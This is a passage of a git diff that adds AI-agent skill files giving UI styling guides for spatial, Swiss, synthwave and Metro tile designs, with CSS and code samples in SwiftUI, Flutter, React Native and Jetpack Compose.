Simulated room environment + Image("living-room") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Window + VStack(spacing: 24) { + Text("Spatial Window") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + // Gaze-reactive button + Button(action: {}) { + Text("Focus Me") + .fontWeight(.semibold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + // .hoverEffect() is magic on visionOS/iPadOS + // .hoverEffect(.highlight) + } + .background(Color.black.opacity(0.2)) + .clipShape(Capsule()) + } + .padding(60) + // The magic glass material + .background(.ultraThinMaterial) + .cornerRadius(32) + // Specular edge highlight + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke(Color.white.opacity(0.4), lineWidth: 1) + ) + // Environmental shadow + .shadow(color: .black.opacity(0.3), radius: 40, y: 30) + + // Z-Space Modal simulation (if on iOS) + // On visionOS, this would be a separate window volume + Text("Floating Modal") + .foregroundColor(.white) + .padding(30) + .background(.thinMaterial) + .cornerRadius(24) + .shadow(color: .black.opacity(0.4), radius: 30, y: 20) + .offset(x: 100, y: 100) + } + } +} +``` +- Use `.ultraThinMaterial` for the base windows and `.thinMaterial` for floating popovers so they feel more opaque as they get closer to the eye. +- Use `.hoverEffect()` extensively if targeting iPadOS or visionOS. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialComputingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + // Simulated Environment + Image.asset('assets/living-room.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 40.0, sigmaY: 40.0), // Heavy blur + child: Container( + width: 600, height: 400, + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), // Glass tint + borderRadius: BorderRadius.circular(32), + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), // Specular highlight + // Note: BoxShadow won't render under BackdropFilter nicely unless wrapped in a separate PhysicalModel + ), + child: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + const Text('Spatial Window', style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + // Simulated Gaze Button + InkWell( + onTap: () {}, + borderRadius: BorderRadius.circular(50), + hoverColor: Colors.white.withOpacity(0.4), // Reacts to mouse/gaze + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration(color: Colors.black.withOpacity(0.2), borderRadius: BorderRadius.circular(50)), + child: const Text('Focus Me', style: TextStyle(color: Colors.white, fontSize: 18)), + ), + ) + ], + ), + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- You must wrap `BackdropFilter` inside a `ClipRRect` to give the blurred glass rounded corners. +- `hoverColor` on `InkWell` simulates the gaze-highlighting. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialComputingScreen = () => { + return ( + + + {/* Spatial Window */} + + + + Spatial Window + + + {/* Touchable simulating Gaze */} + + Focus Me + + + + + + ); +}; +``` +- React Native's core cannot do background blur. You *must* install `@react-native-community/blur`. +- Apply shadows to a wrapper `View`, and put the `BlurView` inside it with `borderRadius` and `borderWidth`. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialComputingScreen() { + Box(modifier = Modifier.fillMaxSize()) { + // Environment + Image(painterResource(R.drawable.living_room), contentDescription = null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + // Spatial Window + Box( + modifier = Modifier + .align(Alignment.Center) + .size(600.dp, 400.dp) + // Note: Native Android background blur requires Android 12+ (RenderEffect) + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(40f, 40f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.15f)) + .border(1.dp, Color.White.copy(alpha = 0.4f), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Spatial Window", color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.2f), CircleShape) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Focus Me", color = Color.White, fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + } + } + } + } +} +``` +- On Android 12+, use `RenderEffect.createBlurEffect` applied to the `graphicsLayer` to blur the UI *behind* the compose element. +- The `border` modifier applies the bright specular rim-light crucial to glass effects. + +## Do's and Don'ts +- **DO**: Create a distinct visual pop (size increase and shadow depth increase) on hover/focus to simulate the gaze-tracking interaction of Spatial Computing. +- **DON'T**: Use flat, opaque colors for the main windows. They must be glass. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md new file mode 100644 index 00000000..a7709de4 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: spatial-design +description: Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Design + +> "UI that belongs in the room with you. Transparent, glass-like panels that react to the lighting of the physical space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Environmental Transparency**: The UI acts like a glass pane. It is deeply reliant on background blur, but specifically aims to let the environment (or a simulated environment image) dictate the mood. +2. **Dynamic Lighting**: Elements respond to cursor position as if a flashlight is shining on them. +3. **Subtle Volume**: Not flat, but not extremely 3D. Elements have a very thin rim of light around the edge (specular highlight). + +## Visual DNA +- **Colors**: Almost exclusively uses `rgba()` white or black. The actual color comes entirely from the background environment. +- **Typography**: Extremely sharp, high legibility. Often uses varying font weights to establish hierarchy without relying on color. Apple's `SF Pro` is the gold standard here. +- **Icons**: Outlined, high-legibility glyphs. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Needs a complex background to look right */ + background: url('room-environment.jpg') cover; +} + +.spatial-panel { + /* The core material */ + background: rgba(255, 255, 255, 0.2); /* Very sheer */ + backdrop-filter: blur(40px) saturate(150%); + -webkit-backdrop-filter: blur(40px) saturate(150%); + + border-radius: 32px; + padding: 40px; + + /* The specular rim light */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.6), + inset 0 0 1px 1px rgba(255,255,255,0.2), + 0 24px 48px rgba(0,0,0,0.1); +} + +.spatial-btn { + background: rgba(0,0,0,0.1); + color: white; + border-radius: 20px; + padding: 12px 24px; + backdrop-filter: blur(10px); + transition: all 0.2s; +} + +.spatial-btn:hover { + background: rgba(255,255,255,0.2); + /* Highlight effect */ + box-shadow: inset 0 0 20px rgba(255,255,255,0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SpatialDesignView: View { + var body: some View { + ZStack { + // Environment background + Image("room-environment") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Panel + VStack(spacing: 24) { + Text("Environmental UI") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + Button(action: {}) { + Text("Interact") + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(.ultraThinMaterial) + .clipShape(Capsule()) + .overlay(Capsule().stroke(Color.white.opacity(0.3), lineWidth: 1)) + } + .padding(40) + .background(.ultraThinMaterial) // The core spatial material + .cornerRadius(32) + // Specular rim light + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.6), .white.opacity(0.1)], + startPoint: .topLeading, endPoint: .bottomTrailing + ), + lineWidth: 1 + ) + ) + // Very soft, diffuse shadow + .shadow(color: .black.opacity(0.1), radius: 40, y: 20) + } + } +} +``` +- `.background(.ultraThinMaterial)` is exactly what Apple uses for this aesthetic. +- The specular highlight is critical. Use an `.overlay` with a `LinearGradient` stroke to simulate a light source hitting the top-left edge of the glass. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + Image.asset('assets/room-environment.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 30.0, sigmaY: 30.0), + child: Container( + width: 350, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.1), + borderRadius: BorderRadius.circular(32), + // Specular rim light + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text('Environmental UI', style: TextStyle(color: Colors.white, fontSize: 28, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + + // Spatial Button + ClipRRect( + borderRadius: BorderRadius.circular(50), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 10.0, sigmaY: 10.0), + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.black.withOpacity(0.1), + border: Border.all(color: Colors.white.withOpacity(0.2)), + borderRadius: BorderRadius.circular(50), + ), + child: const Text('Interact', style: TextStyle(color: Colors.white)), + ), + ), + ) + ], + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- `BackdropFilter` is required to blur the background. +- Notice the button *inside* the panel also has a `BackdropFilter`. This creates nested glass, which is a hallmark of Spatial Design. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialDesignScreen = () => { + return ( + + + + + + Environmental UI + + + + + Interact + + + + + + + ); +}; +``` +- `BlurView` from `@react-native-community/blur` is the only way to achieve this. +- Use `blurType="light"` for the main panel and `blurType="dark"` for the buttons to create contrast between the glass layers. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialDesignScreen() { + Box(modifier = Modifier.fillMaxSize()) { + Image(painterResource(R.drawable.room_environment), null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + Box( + modifier = Modifier + .align(Alignment.Center) + .width(350.dp) + // Shadow goes on the outside + .shadow(20.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.1f)) + // Android 12+ Blur + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(30f, 30f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.1f)) + .border(1.dp, Brush.linearGradient(listOf(Color.White.copy(alpha = 0.6f), Color.Transparent)), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Environmental UI", color = Color.White, fontSize = 28.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.1f), CircleShape) + .border(1.dp, Color.White.copy(alpha = 0.2f), CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Interact", color = Color.White) + } + } + } + } +} +``` +- The `Brush.linearGradient` applied to the `Modifier.border` perfectly simulates the top-down rim light hitting a thick pane of glass. + +## Do's and Don'ts +- **DO**: Crank up the `saturate()` filter on the backdrop blur to make the background colors pop through the glass. +- **DON'T**: Use dark, opaque drop shadows. The UI should look like glass, which doesn't cast harsh shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md new file mode 100644 index 00000000..1bf52d68 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md @@ -0,0 +1,293 @@ +--- +name: swiss-design +description: Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Swiss Design (International Typographic Style) + +> "Form follows function. The grid is absolute. Typography is the primary visual element." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mathematical Grids**: Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text. +2. **Sans-Serif Typography**: Helvetica is the king, but any clean, neutral sans-serif works. Flush left, ragged right text alignment. +3. **Objective Photography**: If images are used, they should be objective, documentary-style photos, not stylized illustrations. + +## Visual DNA +- **Colors**: Very limited. Usually just black, white, and ONE highly saturated accent color (often primary red, blue, or yellow). The **Industrial Chic** palette works perfectly. +- **Typography**: `Helvetica Neue`, `Inter`, or `Roboto`. Huge contrast in font sizes (e.g., massive 6rem headers paired with 1rem body text). +- **Layout**: Do NOT center text. Ever. + +## Web Implementation +- Use CSS Grid extensively. Let columns dictate the layout. +- **CSS Example**: +```css +body { + background-color: #f4f4f4; + color: #111; + font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; + line-height: 1.4; +} + +.swiss-grid { + display: grid; + grid-template-columns: repeat(12, 1fr); + gap: 20px; + padding: 40px; +} + +.swiss-header { + grid-column: 1 / 11; /* spans across multiple columns, leaving right side empty */ + font-size: 6vw; + font-weight: 700; + text-transform: lowercase; /* Optional, but common in brutalist/swiss */ + margin-bottom: 2rem; + line-height: 0.9; + letter-spacing: -0.04em; +} + +.swiss-content { + grid-column: 4 / 9; /* Indented alignment */ + font-size: 1.25rem; + text-align: left; /* Flush left, ragged right */ +} + +.swiss-accent { + color: #E2001A; /* Classic Swiss Red */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SwissDesignView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 0) { + // Header Block + VStack(alignment: .leading, spacing: 8) { + Text("the grid") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) // Tight letter spacing + Text("is absolute.") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) + .foregroundColor(Color(hex: "E2001A")) // Swiss Red + } + .padding(.horizontal, 24) + .padding(.top, 60) + .padding(.bottom, 40) + + Divider().background(Color.black) + + // Asymmetrical Content Block + HStack(alignment: .top, spacing: 20) { + // Empty left column (negative space is structural) + Spacer().frame(width: 40) + + VStack(alignment: .leading, spacing: 16) { + Text("Form follows function.") + .font(.custom("Helvetica Neue", size: 24)) + .fontWeight(.bold) + + Text("Typography is the primary visual element. Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text.") + .font(.custom("Helvetica Neue", size: 16)) + .lineSpacing(6) + } + .padding(.vertical, 40) + .padding(.trailing, 24) + } + + Divider().background(Color.black) + } + .frame(maxWidth: .infinity, alignment: .leading) + } + .background(Color(white: 0.96)) + .foregroundColor(.black) + } +} +``` +- Strict `alignment: .leading` everywhere. Never use `.center`. +- Use `Spacer().frame(width: X)` in `HStack`s to intentionally push content off the left margin, creating the classic Swiss indented asymmetrical grid. + +### Flutter +```dart +class SwissDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F4), + body: SingleChildScrollView( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 80), + // Header + Padding( + padding: const EdgeInsets.symmetric(horizontal: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('the grid', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2)), + Text('is absolute.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2, color: Color(0xFFE2001A))), + ], + ), + ), + const SizedBox(height: 40), + const Divider(color: Colors.black, thickness: 1, height: 1), + + // Asymmetrical Content + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + // Structural empty column + const SizedBox(width: 64), + // Content column + Expanded( + child: Padding( + padding: const EdgeInsets.only(top: 40.0, bottom: 40.0, right: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Form follows function.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('Typography is the primary visual element. Everything aligns to a strict underlying grid.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 16, height: 1.4)), + ], + ), + ), + ), + ], + ), + const Divider(color: Colors.black, thickness: 1, height: 1), + ], + ), + ), + ); + } +} +``` +- `CrossAxisAlignment.start` is mandatory on all Columns. +- Use a `Row` with a fixed `SizedBox` width on the left and an `Expanded` widget on the right to enforce the asymmetrical grid column. + +### React Native +```jsx +const SwissDesignScreen = () => { + return ( + + + {/* Header */} + + + the grid + + + is absolute. + + + + + + {/* Asymmetrical Layout */} + + {/* Empty left column */} + + + {/* Content */} + + + Form follows function. + + + Typography is the primary visual element. Everything aligns to a strict underlying grid. + + + + + + + + ); +}; +``` +- Link the Helvetica Neue font family. The contrast between `HelveticaNeue-CondensedBlack` for headers and `HelveticaNeue-Regular` for body copy defines this style. +- Use `flexDirection: 'row'` to build the strict column structure. + +### Jetpack Compose +```kotlin +@Composable +fun SwissDesignScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F4)).verticalScroll(rememberScrollState()) + ) { + Spacer(Modifier.height(80.dp)) + + // Header + Column(modifier = Modifier.padding(horizontal = 24.dp, vertical = 40.dp)) { + Text( + text = "the grid", + fontFamily = FontFamily.SansSerif, // Replace with Helvetica + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color.Black + ) + Text( + text = "is absolute.", + fontFamily = FontFamily.SansSerif, + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color(0xFFE2001A) + ) + } + + Divider(color = Color.Black, thickness = 1.dp) + + // Asymmetrical Grid Row + Row(modifier = Modifier.fillMaxWidth().padding(vertical = 40.dp)) { + // Empty grid column + Spacer(modifier = Modifier.width(64.dp)) + + // Content + Column(modifier = Modifier.weight(1f).padding(right = 24.dp)) { + Text( + text = "Form follows function.", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Typography is the primary visual element. Everything aligns to a strict underlying grid.", + fontSize = 16.sp, + color = Color.Black + ) + } + } + + Divider(color = Color.Black, thickness = 1.dp) + } +} +``` +- Use `Divider(color = Color.Black, thickness = 1.dp)` to create the harsh horizontal structural rules. +- Combine `Row`, a fixed `Spacer` width, and a `Column` with `Modifier.weight(1f)` to enforce the asymmetrical design. + +## Do's and Don'ts +- **DO**: Use negative space as a structural element. Empty columns are just as important as filled ones. +- **DON'T**: Center align text. Do not use serif fonts. Do not use drop shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md new file mode 100644 index 00000000..01ed9d66 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md @@ -0,0 +1,257 @@ +--- +name: synthwave +description: Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Synthwave (Outrun) + +> "Driving a Ferrari through a neon-lit digital grid at midnight." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark Mode by Default**: Absolute pitch-black or deep purple backgrounds. +2. **Neon Glowing Vectors**: Bright magenta, cyan, and yellow wireframes, text, and grids. Heavy use of `box-shadow` and `text-shadow` for glow effects. +3. **The Perspective Grid**: The defining visual is a glowing grid that fades into a vanishing point on the horizon. + +## Visual DNA +- **Colors**: Deep space backgrounds (`#0B0C10`, `#110022`). Glowing neon accents: Cyan (`#00FFFF`), Hot Pink (`#FF00FF`), Electric Yellow (`#FFFF00`). +- **Typography**: 80s chrome text, brush script (like a neon sign), and heavy italicized sans-serifs. +- **Shadows**: Drop shadows are not black; they are the same color as the element, heavily blurred, to create light emission. + +## Web Implementation +- Rely on `text-shadow` for neon signs and 3D transforms for the floor grid. +- **CSS Example**: +```css +body { + background-color: #090014; + color: #fff; + font-family: 'Montserrat', sans-serif; + overflow-x: hidden; +} + +/* Neon Text Glow */ +.synth-neon-text { + font-family: 'Mr Dafoe', cursive; /* A classic 80s script */ + font-size: 4rem; + color: #fff; + text-shadow: + 0 0 5px #fff, + 0 0 10px #fff, + 0 0 20px #FF00FF, + 0 0 40px #FF00FF, + 0 0 80px #FF00FF; +} + +/* The Perspective Grid Floor */ +.synth-grid { + position: absolute; + bottom: 0; left: -50%; + width: 200%; height: 50vh; + background-image: + linear-gradient(rgba(0, 255, 255, 0.8) 2px, transparent 2px), + linear-gradient(90deg, rgba(0, 255, 255, 0.8) 2px, transparent 2px); + background-size: 50px 50px; + + /* Create the 3D horizon effect */ + transform: perspective(500px) rotateX(60deg); + transform-origin: top center; + + /* Fade out towards the horizon */ + mask-image: linear-gradient(to bottom, transparent 0%, black 100%); + -webkit-mask-image: linear-gradient(to bottom, transparent 0%, black 100%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeonText: View { + let text: String + + var body: some View { + Text(text) + .font(.custom("Mr Dafoe", size: 64)) + .foregroundColor(.white) + // Layering shadows to create a glowing bloom + .shadow(color: .white, radius: 2) + .shadow(color: .pink, radius: 5) + .shadow(color: .pink, radius: 10) + .shadow(color: .pink, radius: 20) + } +} + +struct SynthwaveScreen: View { + var body: some View { + ZStack { + Color(red: 0.03, green: 0.0, blue: 0.08).ignoresSafeArea() // #090014 + + VStack { + NeonText(text: "Outrun") + Spacer() + } + + // Note: A 3D perspective grid requires SceneKit or a pre-rendered image + // Native SwiftUI 3D transforms apply to the view, but won't draw an infinite floor grid easily. + Image("synth_grid") + .resizable() + .scaledToFill() + .frame(height: 300) + .offset(y: 200) + } + } +} +``` +- Stack multiple `.shadow(color:radius:)` modifiers directly on the text to create a vibrant neon bloom effect. +- The 3D wireframe horizon grid is best achieved via a pre-rendered image background. + +### Flutter +```dart +class NeonText extends StatelessWidget { + final String text; + const NeonText(this.text); + + @override + Widget build(BuildContext context) { + return Text( + text, + style: const TextStyle( + fontFamily: 'Mr Dafoe', // Or any cursive 80s font + fontSize: 64, + color: Colors.white, + shadows: [ + Shadow(color: Colors.white, blurRadius: 2), + Shadow(color: Colors.pinkAccent, blurRadius: 5), + Shadow(color: Colors.pinkAccent, blurRadius: 15), + Shadow(color: Colors.pinkAccent, blurRadius: 30), + ], + ), + ); + } +} + +class SynthwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF090014), + body: Stack( + children: [ + // Background grid asset + Positioned( + bottom: 0, + left: 0, + right: 0, + height: 300, + child: Image.asset('assets/synth_grid.png', fit: BoxFit.cover), + ), + // Foreground UI + const Center(child: NeonText('Outrun')), + ], + ), + ); + } +} +``` +- `TextStyle` accepts a list of `Shadow` objects. Stack them with exponentially increasing `blurRadius` values (e.g., 2, 5, 15, 30) to simulate light dispersal. +- Avoid rendering the perspective grid programmatically using `CustomPaint` unless you want to do the 3D math manually. Use an asset. + +### React Native +```jsx +// React Native only supports ONE textShadow per Text element natively. +// To create a true neon glow, you must stack identical Text components. + +const NeonText = ({ text }) => { + const baseStyle = { + fontFamily: 'MrDafoe', + fontSize: 64, + color: '#FFF', + position: 'absolute', + }; + + return ( + + {/* Outer Glow */} + {text} + {/* Mid Glow */} + {text} + {/* Core Glow */} + {text} + {/* Crisp White Core */} + {text} + + ); +}; + +const SynthwaveScreen = () => ( + + + + + +); +``` +- **React Native limitation**: You cannot pass an array of shadows to `textShadow`. +- **Workaround**: Render the exact same `` component 3-4 times on top of each other using `position: 'absolute'`, each with a different `textShadowRadius` to build the bloom. + +### Jetpack Compose +```kotlin +@Composable +fun NeonText(text: String) { + Text( + text = text, + fontSize = 64.sp, + color = Color.White, + fontFamily = FontFamily.Cursive, + // Compose only supports a single Shadow natively on TextStyle + style = TextStyle( + shadow = Shadow( + color = Color(0xFFFF00FF), + offset = Offset.Zero, + blurRadius = 30f // Single large blur as fallback + ) + ), + // To get stacked blurs, we use Modifier.drawBehind to draw the text repeatedly + ) +} + +// Advanced stacked glow approach +@Composable +fun AdvancedNeonText(text: String) { + Box(contentAlignment = Alignment.Center) { + // Render layers of text to build the glow + val blurs = listOf(30f, 15f, 5f) + blurs.forEach { blur -> + Text( + text = text, + color = Color.Transparent, + style = TextStyle( + shadow = Shadow(Color(0xFFFF00FF), Offset.Zero, blur) + ) + ) + } + // Top solid layer + Text(text = text, color = Color.White) + } +} +``` +- **Compose Limitation**: Like React Native, `TextStyle` only accepts a single `Shadow`. +- **Workaround**: Stack multiple transparent `Text` composables inside a `Box`, each casting a shadow of varying size, topped by the solid white core text. + +## Do's and Don'ts +- **DO**: Italicize fonts to give a sense of speed and forward momentum. +- **DON'T**: Use standard, subtle box shadows. If it casts a shadow, it must cast a neon glow instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md new file mode 100644 index 00000000..9da8042e --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md @@ -0,0 +1,297 @@ +--- +name: tile-design +description: Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Tile Design (Metro UI) + +> "Authentically digital. Clean, sharp squares relying purely on typography and flat color." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sharp Corners**: Absolutely no border-radius. Everything is a perfect square or sharp rectangle. +2. **Live Data**: Tiles flip, scroll, or fade internally to show live updates without the user interacting. +3. **Horizontal Panning**: The grid often expands infinitely to the right, encouraging horizontal scrolling. + +## Visual DNA +- **Colors**: High saturation, flat colors. A dark background (pure black) with bright cyan, magenta, orange, and green tiles. +- **Typography**: Extremely clean, light sans-serifs (like `Segoe UI Light`). Text is almost always pure white. +- **Icons**: Simple, wireframe, monochromatic glyphs placed centrally or in the corner. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #111; + color: #fff; + font-family: 'Segoe UI', sans-serif; + overflow-x: auto; /* Horizontal scroll */ +} + +.tile-group { + display: grid; + grid-template-columns: repeat(4, 150px); + grid-auto-rows: 150px; + gap: 8px; + padding: 40px; +} + +.tile { + background-color: #0078D7; /* Classic Windows Blue */ + padding: 12px; + display: flex; + flex-direction: column; + justify-content: space-between; + cursor: pointer; + + /* The "tilt" click effect */ + transition: transform 0.1s; + transform-origin: center; +} + +.tile:active { + transform: scale(0.95); +} + +.tile-wide { grid-column: span 2; } +.tile-large { grid-column: span 2; grid-row: span 2; } + +/* Live Tile Animation */ +.tile-live-content { + animation: slideUp 5s infinite; +} + +@keyframes slideUp { + 0%, 45% { transform: translateY(0); } + 50%, 95% { transform: translateY(-100%); } /* Slides up to reveal next item */ + 100% { transform: translateY(0); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TileDesignView: View { + let rows = [GridItem(.fixed(150), spacing: 8), GridItem(.fixed(150), spacing: 8)] + + var body: some View { + ScrollView(.horizontal, showsIndicators: false) { + LazyHGrid(rows: rows, spacing: 8) { + TileView(title: "Mail", color: Color(hex: "0078D7"), icon: "envelope") + TileView(title: "Photos", color: Color(hex: "00CC6A"), icon: "photo", isLarge: true) + TileView(title: "Weather", color: Color(hex: "2D7D9A"), icon: "cloud.sun") + TileView(title: "Calendar", color: Color(hex: "D13438"), icon: "calendar") + } + .padding(40) + } + .background(Color(hex: "111111").ignoresSafeArea()) + } +} + +struct TileView: View { + let title: String + let color: Color + let icon: String + var isLarge: Bool = false + + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading) { + Image(systemName: icon) + .font(.system(size: 32, weight: .light)) + .foregroundColor(.white) + Spacer() + Text(title) + .font(.custom("Segoe UI", size: 16)) + .foregroundColor(.white) + } + .padding(16) + // Sharp corners are mandatory + .frame(width: isLarge ? 308 : 150, height: isLarge ? 308 : 150, alignment: .leading) + .background(color) + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.spring(response: 0.2, dampingFraction: 0.5), 